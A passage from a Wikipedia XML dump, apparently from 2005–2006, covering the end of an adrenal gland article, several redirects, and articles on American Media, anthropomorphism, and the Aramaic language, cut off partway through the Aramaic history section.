Cortical cells responsible for the production of glucocorticoids are the primary effectors of [[adrenocorticotropic hormone]] (ACTH). The [[hypothalamus]] secretes [[corticotropin-releasing hormone]] which stimulates the [[anterior pituitary gland]] to release ACTH; another hypothalamic hormone, [[arginine vasopressin]] augments ACTH secretion, with the two together stimulating larger release than ACTH in isolation. ACTH acts on the adrenal cortex to stimulate the release of glucocorticoids. This three-organ endocrine system is commonly called the [[HPA axis|hypothalamic-pituitary-adrenal axis]].

The primary glucocorticoid released by the adrenal gland is [[cortisol]]. Upon binding to its target, cortisol enhances [[metabolism]] in several ways:

* stimulating the release of [[amino acid]]s from the body
* stimulating [[lipolysis]], the breakdown of [[fat]]
* stimulating [[gluconeogenesis]], the production of [[glucose]] from newly-released amino acids and [[lipid]]s
* conserving glucose by inhibiting uptake into muscle and [[adipose tissue|fat cells]]

In addition to glucocorticoid production, the fasciculata is a secondary source of androgens such as [[testosterone]], [[dihydrotestosterone]] (DHT), [[androstenedione]], and [[dehydroepiandrosterone]] (DHEA). These enhance [[muscle]] mass, stimulate [[cell growth]], and aid in the development of the [[secondary sex characteristic]]s.

===Zona reticularis===
The innermost layer of the adrenal cortex, the zona reticularis sits beneath the zona fasciculata and atop the adrenal medulla. Its cells are arranged in a network of cords (a reticulum) and have the same functions as cells of the zona fasciculata. It is thought that the zona reticularis is the principal source of glucocorticoids and adrenal androgens, with the zona fasciculata activating only after prolonged stimulation.

== Pathology ==
Adrenal cortex:
* [[Hypoadrenalism]] (e.g. due to [[Addison's disease]])
* [[Cushing's syndrome]]
* [[Congenital adrenal hyperplasia]]
* [[Conn's syndrome]]

Adrenal medulla:
* [[Pheochromocytoma]] is a [[catecholamine]]-secreting tumor of the adrenal medulla.

== Blood supply ==

Although variations of the blood supply to the adrenal glands (and indeed the kidneys themselves) are common, there are usually three arteries that supply each adrenal gland: the superior, middle and inferior suprarenal (or adrenal) arteries.

Each (left and right) superior suprarenal artery is a branch of the [[phrenic artery]] on that side of the body. The left and right phrenic arteries supply the [[diaphragm (anatomy)|diaphragm]], and come off the [[aorta]].

The middle suprarenal artery is a branch directly off the aorta, while the inferior suprarenal artery branches from the aorta or the [[renal artery]].

== See also ==

*[[Fight-or-flight response]]
*[[Stress (medicine)|Stress]]

== References ==

* [http://arbl.cvmbs.colostate.edu/hbooks/pathphys/endocrine/adrenal/index.html Adrenal Gland], from Colorado State University
* [http://www.nlm.nih.gov/medlineplus/ency/article/002219.htm MedlinePlus Medical Encyclopedia: Adrenal Glands]

{{Adrenal gland}}
{{Endocrine system}}
[[Category:Glands]]
[[Category:Abdomen]]
[[Category:Endocrine system]]

[[da:Binyre]]
[[de:Nebenniere]]
[[es:Glándula suprarrenal]]
[[fr:Glande surrénale]]
[[he:בלוטת יותרת הכליה]]
[[it:Surrene]]
[[lt:Antinkstis]]
[[nl:Bijnier]]
[[ja:副腎]]
[[no:Binyre]]
[[pl:Nadnercze]]
[[pt:Glândula supra-renal]]
[[sv:Binjure]]</text>
    </revision>
  </page>
  <page>
    <title>Antidorcas marsupialis</title>
    <id>2297</id>
    <revision>
      <id>25128692</id>
      <timestamp>2005-10-09T11:32:50Z</timestamp>
      <contributor>
        <username>Tekana</username>
        <id>348880</id>
      </contributor>
      <minor />
      <comment>Dab</comment>
      <text xml:space="preserve">#REDIRECT [[Springbok Antelope]]</text>
    </revision>
  </page>
  <page>
    <title>Anthropoides paradisia</title>
    <id>2298</id>
    <revision>
      <id>15900728</id>
      <timestamp>2003-04-29T15:24:00Z</timestamp>
      <contributor>
        <username>Tannin</username>
        <id>6169</id>
      </contributor>
      <comment>repoint redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Blue Crane]]</text>
    </revision>
  </page>
  <page>
    <title>American Media</title>
    <id>2299</id>
    <revision>
      <id>27181600</id>
      <timestamp>2005-11-02T19:09:17Z</timestamp>
      <contributor>
        <username>Stefanomione</username>
        <id>186638</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''American Media, Inc.''', is publisher of all the major [[United States]]-based [[supermarket tabloid]]s&amp;mdash;''[[The National Enquirer]]'', ''[[Star Magazine|Star]]'', ''[[Globe Magazine|Globe]]'', ''[[National Examiner]]'', ''[[Sun (supermarket tabloid)| Sun]]'', and ''[[Weekly World News]]''&amp;mdash;as well as ''[[Country Weekly]]'', ''[[Mira newspaper|¡Mira!]]'', ''[[Auto World Weekly]]'', ''[[Shape (magazine)|Shape]]'', ''[[Men's Fitness]]'', ''[[Muscle &amp; Fitness]]'', ''[[Flex (magazine)|Flex]]'', ''[[Fit Pregnancy]]'', and ''[[Natural Health (magazine)|Natural Health]]''. American Media also owns [[Distribution Services, Inc.]], an in-store magazine merchandising company.

American Media's corporate headquarters in [[Boca Raton, Florida|Boca Raton]], [[Florida]] figured prominently in news headlines in late [[2001]], after an [[2001 anthrax attacks|anthrax attack]] was perpetrated on the company.

[[Category:Newspaper companies of the United States]]
[[Category:Supermarket tabloids]]
[[Category:2001 anthrax attacks]]
{{publish-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Anthropomorphism</title>
    <id>2300</id>
    <revision>
      <id>42143445</id>
      <timestamp>2006-03-04T02:41:21Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.244.19.150|69.244.19.150]] ([[User talk:69.244.19.150|talk]]) to last version by Angr</comment>
      <text xml:space="preserve">[[Image:Watcher in the woods.Dark Natasha.jpg|right|thumb|An example of anthropomorphic artwork (by [http://www.darknatasha.com Dark Natasha])]]
'''Anthropomorphism''', a form of [[personification]] (applying human or animal qualities to inanimate objects) and similar to [[prosopopoeia]] (adopting the persona of another person), is the attribution of [[human]] characteristics and qualities to non-human beings, objects, or natural phenomena.  [[Animal]]s, forces of [[nature]], and unseen or unknown authors of chance are frequent subjects of anthropomorphosis. 

The term comes from two [[Greek language|Greek]] words, άνθρωπος (''anthrōpos''), meaning &quot;human&quot;, and μορφή (''morphē''), meaning &quot;shape&quot; or &quot;form&quot;. The suffix '-ism' originates from the [[morpheme]] '-isma' in the [[Greek language]].
&lt;!--This seems to be a response to something no longer in the article.
  It is suggested that the ''New English Dictionary'' is misled by the 1866 reprint of Paul Bayne on Ephesians when it quotes &quot;anthropomorphist&quot; as 17th century English.  Seventeenth century editions print &quot;anthropomorphits,&quot; ''i.e''. anthropomorphites, in sense (1). The older abstract term is &quot;anthropopathy,&quot; literally &quot;attributing human feelings,&quot; in sense (2).--&gt;
==In religions and mythologies==
In [[religion]] and [[mythology]], &quot;anthropomorphism&quot; refers to the attribution of a human body or of human qualities generally, to a divine being or beings.  Many mythologies are almost entirely concerned with anthropomorphic [[deity|deities]] who express human characteristics such as [[jealousy]], [[hatred]], or [[love]]. The [[family tree of the Greek gods|Greek gods]] such as [[Zeus]] and [[Apollo (god)|Apollo]] were often depicted in human form exhibiting both commendable and despicable human traits.

===Biblical literalism===
Numerous different sects throughout history have been called ''anthropomorphites'', including a [[sect]] in [[Egypt]] in the [[4th century]], and a group in the [[Roman Catholic Church]] in the [[10th century]]. Such sects were considered [[heretic]]al for their [[biblical literalism]], taking everything written and spoken of God in the [[Bible]] in a literal sense. This included attributing to God a human form, human parts, and human passions. The passage they chiefly referred to was [[Book of Genesis|Genesis]] 1:27, listed below in the original [[Hebrew language|Hebrew]], and in the [[New American Standard Bible]] translation into [[English language|English]]. {{ref label|1728|2|1}}

:&lt;span lang=&quot;he&quot; title=&quot;Hebrew text&quot; dir=&quot;rtl&quot;  style=&quot;font-family: Times New Roman, David, none;&quot; class=&quot;spanHe&quot;&gt;וַיִּבְרָא אֱלֹהִים אֶת-הָאָדָם בְּצַלְמוֹ, בְּצֶלֶם אֱלֹהִים בָּרָא אֹתוֹ:  זָכָר וּנְקֵבָה, בָּרָא אֹתָם.&lt;/span&gt;

:&quot;God created man in His own image, in the image of God He created him; male and female He created them.&quot;

===Hinduism===
The ten [[avatar]]s of the [[Hindu]] supreme God [[Vishnu]] possess both human and divine forms and qualities, although their divinity varies in degree.  In [[Vaishnavism]], a monotheistic faith, Vishnu is [[omniscience|omniscient]] and [[benevolence|benevolent]], unlike gods of the [[Ancient Greek Religion|Greek]] and [[Roman religion|Roman]] religions.  See [[God#Conceptions of God in Hinduism|Conceptions of God in Hinduism]].

===Condemnation===
Numerous religions and philosophies have condemned anthropomorphism for various reasons.  Some [[Greek philosophy|Ancient Greek philosophers]] did not condone, and were explicitly hostile to, their people's mythology.  These philosophers often developed monotheistic views. [[Plato]]'s (427&amp;ndash;347 [[Common Era|BCE]]) [[Demiurge]] (craftsman) in the ''[[Timaeus (dialogue)|Timaeus]]'' and [[Aristotle|Aristotle's]] (384&amp;ndash;322 BCE) [[Cosmological argument|prime mover]] in his ''[[Physics (Aristotle)|Physics]]'' are examples. The Greek philosopher [[Xenophanes]] (570&amp;ndash;480 BCE) said that &quot;the greatest God&quot; resembles man &quot;neither in form nor in mind.&quot; ([[Clement of Alexandria]], ''Miscellanies'' V xiv 109.1-3). The similarity of these philosophers' concepts of God to that of the [[Bible]]'s facilitated the incorporation of much pre-Christian Greek philosophy into the [[Middle Ages|Medieval]] Christian [[world view]] by the [[Scholasticism|Scholastics]], notably [[Thomas Aquinas]].

From the perspective of believers of a religion where the deity or deities have human characteristics, it may be more accurate to describe the phenomenon as [[theomorphism]], or the giving of divine qualities to humans, instead of anthropomorphism, the giving of human qualities to the divine.  The reason for this being that according to their beliefs, the deity or deities usually existed before humans, and therefore humans were created in the form of the divine, not vice versa.  However, for those who do not subscribe to the beliefs of the religion, the phenomenon can be considered anthropomorphism.

==In rhetoric==

Anthropomorphism in the form of personification consists of creating imaginary persons who are the embodiment of an abstraction such as [[Death (personification)|Death]], Lust or War. See the article on the [[Four Horsemen of the Apocalypse]] for notable examples.

In classical [[rhetoric]], personification is a [[figure of speech]] (more specifically a [[trope]]) that employs the deliberate use of anthropomorphism, often to make an emotional appeal. In rhetorical theory, a distinction is often drawn between personification (anthropomorphism of inanimate, but real, objects) and figures such as [[Apostrophe (figure of speech)|apostrophe]], in which an absent people or abstract concepts are addressed.

'''An example of rhetorical personification:'''
:''A tree whose hungry mouth is prest''
:''Against the earth's sweet-flowing breast.'' [[Joyce Kilmer]], ''Trees''

'''An example of rhetorical apostrophe:'''
:''O eloquent, just, and mighty Death!'' [[Walter Raleigh]], ''History of the World''


[[Image:Peter Rabbit - Benjamin and Flopsy Bunny - Project Gutenberg eText 14220.jpg|thumbnail|right|250px|Peter Rabbit and wife being importuned by Benjamin and Flopsy Bunny - anthropomorphic characters from [[Beatrix Potter]] books]]

==In literature==
Anthropomorphism is a well established device in literature, notably in books for children, such as those by [[C.S. Lewis]], [[Beatrix Potter]] and [[Lewis Carroll]], which involve characters such as [[Peter Rabbit]], the [[Cheshire Cat]], and the fantastical talking animals of [[Narnia]]. Also, [[W.V. Awdry|Rev. W. Awdry]]'s [[The Railway Series|Railway Series]] depicts steam locomotives with human-like faces and personalities.

[[Terry Pratchett]] is notable for having several anthropomorphic personifications in his ''[[Discworld]]'' books. Perhaps best known is the character [[Death (Discworld)|Death]]. [[Piers Anthony]] also wrote a series regarding the seven [[Incarnations of Immortality|incarnations]] of Death, Nature, Time, War, Fate, Good and Evil. [[Neil Gaiman]] is notable for anthropomorphising seven aspects of the world in his series [[The Sandman (DC Comics Modern Age)|The Sandman]] - they are called [[the Endless]]: [[Destiny (DC Comics)|Destiny]], [[Death (DC Comics)|Death]], [[Dream (DC Comics)|Dream]], [[Destruction (DC Comics)|Destruction]], [[Desire (DC Comics)|Desire]], [[Despair (DC Comics)|Despair]], and [[Delirium (DC Comics)|Delirium]].

The Indian books ''[[Panchatantra]]'' (The Five priniciples) and ''[[The Jataka tales]]'' employ this trick of anthromorphized animals very effectively to illustrate various principles of life.

[[Mrs Grundy]] is a personification of conventional propriety.

==Common usage==
It is a common tendency for people to think of inanimate objects as having human-like characteristics. Few, if any people, believe this to have real significance. Common examples of this tendency include naming one's car or begging a machine to work. Advances in [[artificial intelligence]] are beginning to identify such foibles as a potentially more significant phenomenon; however, as [[computer]]s begin to reach the point where they can recognize spoken language. Some computers are already very good at displaying very specific and specialized categories of human-like behaviour, such as learning from their mistakes or anticipating certain input; playing [[chess]] and other games with human-like capability; and even, in the case of [[robot]]s, potentially taking on humanlike form.  [[Anthropomorphobia]], a [[phobia]] traditionally associated with anxiety responses to nonhuman living things displaying human behavior, is now used to define the [[phobia]] of nonliving things that exhibit human qualities.

===Technical use===
[[Hacker|Hackers]] and [[programmers]] have always anthropomorphised technology, mostly as a time-saving device.  Complex technology, specifically [[computers]], can exhibit complicated behavior that can be lengthy to describe in purely inanimate terms.  Hackers, therefore, may use human actions and even emotions to describe a computer system's behavior.  For example, in a situation where a program encounters minor errors but can still accomplish its task, it may do so but emit an error message.  Especially in cases where the error encountered is thought to be trivial, a hacker might say that the computer is complaining.  This human action (complaining) conveys that there is a difficulty while acknowloging the triviality of the difficulty, and perhaps the fact that the program does what was required despite the difficulty.  See the [http://www.catb.org/~esr/jargon/html/anthropomorphization.html ''section on anthropomorphism'']in the [[Jargon File]] for more information.

This form of anthropomorphism is common in other technical fields as well.  For example, a [[chemist]] might casually explain an [[ionic bond]] between [[sodium]] and [[chlorine]] by asserting that the sodium atom &quot;wants&quot; to merge with the chlorine atom.  Desire is, of course, a human emotion that atoms are incapable of.  On the other hand, in [[finance]], when a [[Financial market|market]] rises and falls, it might be described as &quot;fickle&quot;, but because it's a human-driven process based on human reactions to market forces, it ''is'' capable of reflecting, if not having, human emotions.  If the criterion for anthropomorphism is that the subject is ascribed human attributes it doesn't have, then financial markets and other demographic forces may not qualify.  However, they might be considered true personifications of human emotion, and qualify the same way as the personification of Desire does.

===Modern occurrences===

[[Image:TV dinosaurs charlene and robbie angry.jpg|right|thumbnail|250px|Characters from the television sitcom, ''[[Dinosaurs (TV series)|Dinosaurs]]'']]
The use of anthropomorphized animals has a long tradition in art and literature. Frequently they are used to portray stereotypical characters, in order to quickly convey the characteristics the author or artist intends for them to possess. Examples include [[Aesop]]'s fables, [[George Orwell]]'s ''[[Animal Farm]]'' and political cartoons, e.g. ''[[Maus (comics)|Maus]]''. Many of the most famous children's television characters are anthropomorphized [[funny animal]]s: [[Mickey Mouse]], [[Kermit the Frog]], [[Bugs Bunny]], [[Daffy Duck]], and [[Scrooge McDuck]], for example. While being &quot;funny&quot; is a common trait, it is not a hard rule; Bert the Turtle, star of ''[[Duck and Cover (film)|Duck and Cover]]'' is a children-oriented exception. While children- and family-oriented series have often featured anthropomorphic animals, newer adult-oriented television series such as ''[[Family Guy]]'' and ''[[Father of the Pride]]'' also make use of anthropomorphized characters. The human characteristics commonly ascribed to animals in popular culture usually centers around either their perceived personality or disposition (for example, [[owl]]s are usually designated as [[wisdom|wise]]); their appearance alone ([[penguin]]s are usually portrayed as plump [[aristocrats]], because their [[plumage]] resembles a [[black tie|tuxedo]]);  or a combination of both ([[raccoon]]s are commonly portrayed as [[Outlaw|bandits]], both because of the characteristic black stripe over their eyes, which resembles the stereotypical mask of a bandit, and because they roam at night, sometimes breaking into peoples' garbage).

Since the 1980s, [[furry fandom]] has focused on the appreciation, promotion, and production of stories and art about anthropomorphic animals, as well as the exploration, interpretation and examination of humanity and human values through anthropomorphic expression. Furry fandom and the Furry subculture it is part of have only recently come to the attention of the media.

Anthropomorphism has also been frequently applied to entities other than animals in modern times. The [[Red blood cell|red blood cells]] in the film [[Osmosis Jones]] and robots in [[Stanislaw Lem]]'s [[The Cyberiad]] may be considered examples of anthropomorphism.

==In logical reasoning==
[[Image:Dog wearing shades.jpg|thumb|250px|This [[dog]] has been dressed in [[human]] [[accessories]] for [[humorous]] effect.]]Using anthropomorphized caricatures or projecting human qualities on conceptual entities or inanimate objects in [[reasoning]] is also known as committing a [[pathetic fallacy]] (not a pejorative term).

==Opposite view==
While anthropomorphism is the practice of giving animals human qualities, [[Zoomorphism]] is the practice of giving humans animal qualities.  These qualities can include everything from physical shape or movements (&quot;She moves like a cat&quot;, &quot;He looks as strong as a bear&quot;) to mentalities (&quot;He is savage as a lion&quot;, &quot;She's a dumb bunny&quot;) or a mix of the two (&quot;I sting like a bee&quot;).

In the sense that anthropomorphism can include the giving of human qualities to a deity or deities, the opposite is [[Theomorphism]], the giving of divine qualities to humans.

==Slang use==
The [[Furry fandom]]'s growing popularity has increased recognition of the word &quot;anthropomorphism.&quot; However, as use of the word increased, the syllable &quot;po&quot; gradually began to fall out of use by some, hence why many furry websites and comics may use the terms &quot;anthromorphism&quot; or &quot;anthromorphic.&quot; Though technically incorrect and unrecognized by dictionaries, this spelling of the word is rarely corrected in Internet culture.

==See also==
*[[Anthropomorphobia]]
*[[Anthropopathy]]
*[[Figure of speech]]
*[[List of Anthropomorphic Personifications]]
*[[Rhetoric]]
*[[Uncanny Valley]]
*[[Furry fandom]]
*[[Funny animal]]

==Further Reading==
* Lorraine Daston &amp; Gregg Mitman, editors, ''Thinking with Animals: New Perspectives on Anthropomorphism'', Columbia University Press, 2005, hardcover, ISBN 0231130384

== References ==
#{{1911}}
#{{note label|1728|2|1}}{{1728}} [http://digicoll.library.wisc.edu/cgi-bin/HistSciTech/HistSciTech-idx?type=turn&amp;entity=HistSciTech000900240147&amp;isize=L Anthropomorphite].
#Shipley, Orby. ed. ''A glossary of ecclesiastical terms''. 1872.

[[Category:Anthropomorphism| ]]

[[bg:Антропоморфия]]
[[da:Antropomorfisme]]
[[de:Anthropomorphismus]]
[[es:Antropomorfismo]]
[[eo:Antropomorfismo]]
[[fr:Anthropomorphisme]]
[[ia:Anthropomorphismo]]
[[hu:Megszemélyesítés]]
[[nl:Antropomorfisme]]
[[ja:擬人観]]
[[pl:Antropomorfizm]]
[[pt:Antropomorfismo]]
[[ru:Антропоморфизм]]
[[sv:Antropomorfism]]
[[tr:İnsan biçimcilik]]
[[zh:擬人化美少女]]</text>
    </revision>
  </page>
  <page>
    <title>Aramaic</title>
    <id>2302</id>
    <revision>
      <id>15900732</id>
      <timestamp>2002-04-17T22:48:59Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>changed see into redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Aramaic language]]
</text>
    </revision>
  </page>
  <page>
    <title>Aramaic language</title>
    <id>2303</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41328848</id>
      <timestamp>2006-02-26T16:55:00Z</timestamp>
      <contributor>
        <username>Garzo</username>
        <id>140345</id>
      </contributor>
      <comment>/* Modern Aramaic */ linked to main articles</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Aramaic
|nativename=ארמית ''Arāmît'', ܐܪܡܝܐ ''Ārāmāyâ''
|pronunciation=/arɑmiθ/, /arɑmit/, /ɑrɑmɑjɑ/, /ɔrɔmɔjɔ/
|states=[[Armenia]], [[Azerbaijan]], [[Iran]], [[Iraq]], [[Israel]], [[Georgia (country)|Georgia]], [[Lebanon]], [[Palestine (region)|Palestine]], [[Russia]], [[Syria]] and [[Turkey]]
|region=Throughout the [[Middle East]], [[Central Asia]], [[Europe]], [[North America]] and [[Australia]]
|speakers=445,000
|familycolor=Afro-Asiatic
|fam2=[[Semitic languages|Semitic]]
|fam3=[[West Semitic languages|West Semitic]]
|fam4=[[Central Semitic languages|Central Semitic]]
|fam5=[[Northwest Semitic languages|Northwest Semitic]]
|script=[[Aramaic alphabet|Aramaic abjad]], [[Syriac alphabet|Syriac abjad]], [[Hebrew alphabet|Hebrew abjad]], [[Mandaic alphabet]]
|iso2=arc
|lc1=arc|ld1=Aramaic (ancient)|ll1=none
|lc2=aii|ld2=Assyrian Neo-Aramaic
|lc3=aij|ld3=Lishanid Noshan
|lc4=amw|ld4=Western Neo-Aramaic
|lc5=bhn|ld5=Bohtan Neo-Aramaic
|lc6=bjf|ld6=Barzani Jewish Neo-Aramaic
|lc7=cld|ld7=Chaldean Neo-Aramaic
|lc8=hrt|ld8=Hértevin|ll8=Hertevin language
|lc9=huy|ld9=Hulaulá|ll9=Hulaula language
|lc10=kqd|ld10=Koy Sanjaq Surat
|lc11=lhs|ld11=Mlahsô|ll11=Mlahso language
|lc12=lsd|ld12=Lishana Deni
|lc13=mid|ld13=Modern Mandaic|ll13=Mandaic language
|lc14=myz|ld14=Classical Mandaic|ll14=Mandaic language
|lc15=sam|ld15=Samaritan Aramaic
|lc16=syc|ld16=Syriac (classical)|ll16=Syriac language
|lc17=syn|ld17=Senaya|ll17=Senaya language
|lc18=tmr|ld18=Jewish Babylonian Aramaic|ll18=Talmud
|lc19=trg|ld19=Lishán Didán|ll19=Lishan Didan
|lc20=tru|ld20=Turoyo|ll20=Turoyo language}}
&lt;!-- Linguasphere code: 12-AAA --&gt;
&lt;!-- The Linguasphere code is for future reference, if Linguasphere codes are put into the infobox. --&gt;

'''Aramaic''' is a [[Semitic language]] with a 3,000-year history.  It has been the language of administration of empires and the language of divine worship. It is the original language of large sections of the biblical books of [[Book of Daniel|Daniel]] and [[Book of Ezra|Ezra]], and is the main language of the [[Talmud]].  Aramaic is believed to have been the language spoken by [[Aramaic of Jesus|Jesus]], and it is still spoken today as a first language by numerous small communities.

Aramaic belongs to the [[Afro-Asiatic languages|Afro-Asiatic]] [[Language families and languages|language family]]. Within that diverse family, it belongs to the [[Semitic languages|Semitic]] subfamily. Aramaic is a part of the Northwest Semitic group of languages, which also includes the [[Canaanite languages]] (including [[Hebrew language|Hebrew]]).

==Geographic distribution==
During the [[12th century BC|twelfth century BCE]], [[Aramaeans]], the native speakers of Aramaic, began to settle in great numbers in modern-day [[Syria]], [[Iraq]] and eastern [[Turkey]]. As the language grew in importance, it came to be spoken throughout the [[Mediterranean]] coastal area of the [[Levant]], and spread east of the [[Tigris]]. [[Jew]]ish settlers took the language with them into [[north Africa]] and [[Europe]], and Christian missionaries brought Aramaic into [[Iran|Persia]], [[India]] and even [[China]]. From the [[7th century|seventh century CE]] onwards, Aramaic was replaced as the [[lingua franca]] of the [[Middle East]] by [[Arabic language|Arabic]]. However, Aramaic remains a literary and liturgical language among Jews, [[Mandaeans]] and some Christians, and is still spoken by small isolated communities throughout its original area of influence. The turbulence of the last two centuries has seen speakers of first-language and literary Aramaic dispersed throughout the world.

===Aramaic languages and dialects===
Aramaic is really a group of related languages, rather than a single monolithic language. The long history of Aramaic, its extensive literature and its use by different religious communities are all factors in the diversification of the language. Some Aramaic dialects are mutually intelligible, whereas others are not. Some Aramaic languages are known under different names; for example, ''[[Syriac language|Syriac]]'' is particularly used to describe the Eastern Aramaic of Christian communities. Most dialects can be described as either &quot;Eastern&quot;' or &quot;Western,&quot; the dividing line being roughly the [[Euphrates]], or slightly west of it. It is also helpful to draw a distinction between those Aramaic languages that are modern living languages (often called ''Neo-Aramaic''), those that are still in use as literary languages, and those that are extinct and are only of interest to scholars. Although there are some exceptions to this rule, this classification gives &quot;Modern,&quot; &quot;Middle&quot; and &quot;Old&quot; periods, alongside &quot;Eastern&quot; and &quot;Western&quot; areas, to distinguish between the various languages and dialects that are Aramaic.

==Writing system==
[[Image:Serto.jpg|left|thumb|320px|11th century book in [[Syriac alphabet|Syriac Serto]].]]
The earliest [[Aramaic alphabet]] was based on the [[Phoenician alphabet|Phoenician script]]. In time, Aramaic developed its distinctive 'square' style. The ancient Israelites and other peoples of [[Canaan]] adopted this alphabet for writing their own languages. Thus, it is better known as the [[Hebrew alphabet]] today. This is the writing system used in [[Biblical Aramaic]] and other Jewish writing in Aramaic.

The other main writing system used for Aramaic was developed by Christian communities: a cursive form known as the [[Syriac alphabet]] (one of the varieties of the Syriac alphabet, Serto, is shown to the left).

A highly modified form of the Aramaic alphabet, the [[Mandaic alphabet]], is used by the [[Mandaean]]s.

In addition to these writing systems, certain derivatives of the Aramaic alphabet were used in ancient times by particular groups: [[Nabataean alphabet|Nabataean]] in [[Petra]], for instance, or [[Palmyrenean alphabet|Palmyrenean]] in [[Palmyra]]. In modern times, [[Turoyo language|Turoyo]] (see [[#Modern East Aramaic|below]]) has sometimes been written in an adapted [[Latin alphabet]].

==History==
{|border=&quot;0&quot; align=&quot;right&quot; margin=&quot;1&quot; cellpadding=&quot;5&quot; bgcolor=&quot;#ffffd9&quot; style=&quot;margin-left:10px&quot;
|bgcolor=&quot;#ffffd9&quot;|&lt;timeline&gt;
ImageSize  = width:320 height:700
PlotArea   = right:40 top:10 left:40 bottom:10
DateFormat = yyyy
TimeAxis   = orientation:vertical order:reverse
Period     = from:-1200 till:2005
AlignBars  = early
ScaleMajor = unit:year increment:200 start:-1200
Colors     = 
  id:canvas value:rgb(1,1,0.85) 
BackgroundColors = canvas:canvas
PlotData =
  width:15 color:red
  bar:test from:-1200 till:200 # Old Aramaic
PlotData = 
  width:15 color:orange
  bar:test from:200 till:1200 # Middle Aramaic
PlotData = 
  width:15 color:yellow
  bar:test from:1200 till:2005 # Modern Aramaic
PlotData = 
  bar:test at:-1200 mark:(line,white)
  at:-1200 shift:(10,0) text:12th c. BCE Aramaeans settle in Aram
  bar:test at:-1000 mark:(line,white) 
  at:-1000 shift:(10,0) text:10th c. BCE early written Aramaic
  bar:test at:-740 mark:(line,white) 
  at:-740 shift:(10,0) text:740s BCE Aramaic official in Assyria
  bar:test at:-500 mark:(line,white) 
  at:-500 shift:(10,0) text:c.500 BCE Darius I decrees Aramaic official
  bar:test at:-425 mark:(line,white)
  at:-425 shift:(10,0) text:5th c. BCE Elephantine papyri composed
  bar:test at:-330 mark:(line,white) 
  at:-331 shift:(10,0) text:331 BCE Greek ascendancy
  bar:test at:-246 mark:(line,white)
  at:-246 shift:(10,0) text:247 BCE] Aramaic official in Arsacid Empire
  bar:test at:-169 mark:(line,white)
  at:-169 shift:(10,5) text:c. 170 BCE Book of Daniel probably composed
  bar:test at:-141 mark:(line,white)
  at:-141 shift:(10,0) text:142 BCE Aramaic official in Hasmonaean Judah
  bar:test at:-49 mark:(line,white)
  at:-40 shift:(10,0) text:1st c. BCE Aramaic Palmyra, Petra &amp; Osrhoene
  bar:test at:45 mark:(line,white)
  at:45 shift:(10,0) text:1st c. New Testament records some Aramaic
  bar:test at:135 mark:(line,white)
  at:135 shift:(10,4) text:135 Galilean Aramaic becomes prominent
  bar:test at:172 mark:(line,white)
  at:172 shift:(10,1) text:172 Tatian's Diatessaron produced
  bar:test at:200 mark:(line,white)
  at:200 shift:(10,-3) text:3rd c. Targum composition
  bar:test at:224 mark:(line,white)
  at:224 shift:(10,-8) text:224 Classical Mandaic emerges
  bar:test at:306 mark:(line,white)
  at:306 shift:(10,-1) text:c. 306 Ephrem born, Syriac golden age
  bar:test at:431 mark:(line,white)
  at:431 shift:(10,0) text:431 Nestorian schism of Aramaic Christians
  bar:test at:435 mark:(line,white)
  at:435 shift:(10,-9) text:c. 435 Peshitta Syriac Bible produced
  bar:test at:637 mark:(line,white)
  at:637 shift:(10,0) text:637 Arabic ascendancy
  bar:test at:700 mark:(line,white)
  at:700 shift:(10,0) text:700 Talmud completed
  bar:test at:1258 mark:(line,black)
  at:1258 shift:(10,0) text:1258 Mongols sack Baghdad
  bar:test at:1290 mark:(line,black)
  at:1290 shift:(10,-5) text:13th c. Zohar published in Spain
  bar:test at:1650 mark:(line,black)
  at:1650 shift:(10,0) text:17th c. School of Alqosh flourishes
  bar:test at:1836 mark:(line,black)
  at:1836 shift:(10,0) text:1836 Assyrian Neo-Aramaic first in print
  bar:test at:1915 mark:(line,black)
  at:1915 shift:(10,4) text:1915 Persecution in Turkey
  bar:test at:1951 mark:(line,black)
  at:1951 shift:(10,2) text:1951 Aramaic Jews move to Israel
  bar:test at:1998 mark:(line,black)
  at:1998 shift:(10,0) text:1998 last speakers of Mlahso &amp; Bijil die
&lt;/timeline&gt;
|}
Here follows a comprehensive history of Aramaic. The history is broken down into three broad periods:
*[[#Old Aramaic|Old Aramaic]] ([[1100 BC|1100 BCE]]–200 CE), including:
**The [[Biblical Aramaic]] of the [[Hebrew Bible]].
**The [[Aramaic of Jesus]].
**The Aramaic of the [[Targum]]s.
*[[#Middle Aramaic|Middle Aramaic]] (200–1200), including:
**Literary [[Syriac language|Syriac]].
**The Aramaic of the [[Talmud]]s and [[Midrash]]im.
*[[#Modern Aramaic|Modern Aramaic]] (1200–present), including:
**Various modern vernaculars.

This classification is based on that used by Klaus Beyer[[#References|*]].

==Old Aramaic==
Old Aramaic covers over thirteen centuries of the language. This vast time span is chosen as it includes all Aramaic that is now effectively extinct. The main turning point for Old Aramaic is around [[500 BC|500 BCE]], when the Ancient Aramaic (the language of Aramaeans) moves into Imperial Aramaic (the language of powerful empires). The various spoken dialects of Old Aramaic come to prominence when [[Greek language|Greek]] replaces Aramaic as the language of power in the region.

===Ancient Aramaic===
Ancient Aramaic refers to the Aramaic of the [[Arameans|Aramaeans]] from its origin until it becomes the official 'lingua franca' of the [[Fertile Crescent]]. It was the language of the city-states of [[Damascus]], [[Hamath]] and [[Arpad (Syria)|Arpad]].

====Early Ancient Aramaic====
There are quite extensive inscriptions that evidence the earliest use of the language, dating from the [[10th century BC|tenth century BCE]]. These inscriptions are mostly diplomatic documents between Aramaean city-states. The orthography of Aramaic at this early period seems to be based on [[Phoenician alphabet|Phoenician]], and there is a unity in the written language. It seems that, in time, a more refined orthography, suited to the needs of the language, began to develop from this in the eastern regions of Aram. Oddly, the dominance of [[Assyria]]n Empire of [[Tiglath-Pileser III]] over Aram in the middle of the eighth century led to the establishment of Aramaic as a [[lingua franca]].
[[Image:Bar-rakib.jpg|left|thumb|200px|Silver ingot of Bar-Rakib son of Panammu, king of Sam'al (modern [[Zincirli]])]]

====Late Ancient Aramaic====
